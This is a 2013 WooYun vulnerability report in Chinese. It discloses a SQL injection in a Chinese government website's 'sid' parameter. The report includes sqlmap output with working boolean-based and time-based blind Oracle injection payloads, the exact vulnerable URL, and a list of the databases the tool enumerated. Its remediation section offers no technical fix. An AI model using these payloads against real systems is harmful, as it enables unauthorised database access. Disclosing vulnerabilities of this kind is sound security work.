漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2013-11-12： 细节已通知厂商并且等待厂商处理中
2013-11-16： 厂商已经确认，细节仅向厂商公开
2013-11-26： 细节向核心白帽子及相关领域专家公开
2013-12-06： 细节向普通白帽子公开
2013-12-16： 细节向实习白帽子公开
2013-12-27： 细节向公众公开
简要描述：
纯属安全检测。
数据库是ORACLE
详细说明：
下面是一些信息。
sqlmap identified the following injection points with a total of 81 HTTP(s) requests:
---
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=40288b9515d10dd60115d11100bd0006' AND 6261=6261 AND 'vHdT'='vHdT
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sid=40288b9515d10dd60115d11100bd0006' AND 5017=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'bbJO'='bbJO
---
web application technology: JSP
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=40288b9515d10dd60115d11100bd0006' AND 6261=6261 AND 'vHdT'='vHdT
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sid=40288b9515d10dd60115d11100bd0006' AND 5017=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'bbJO'='bbJO
---
web application technology: JSP
back-end DBMS: Oracle
available databases [24]:
[*] CHAT
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] GXGOVXXGK
[*] GXQM
[*] GXTZ
[*] GXZW
[*] GXZWW
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] YQRJY
[*] ZZGX
[*] ZZGXBBS
漏洞证明：
http://www.zzgx.gov.cn/template/govlead_temp1.jsp?sid=40288b9515d10dd60115d11100bd0006
修复方案：
网速忒差劲了，没过多的研究。
看着修复吧，不会的话可以EMAIL我。周末可以去看看。
版权声明：转载请注明来源 未来还没来@乌云
>
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-11-16 23:08
厂商回复：
最新状态：
暂无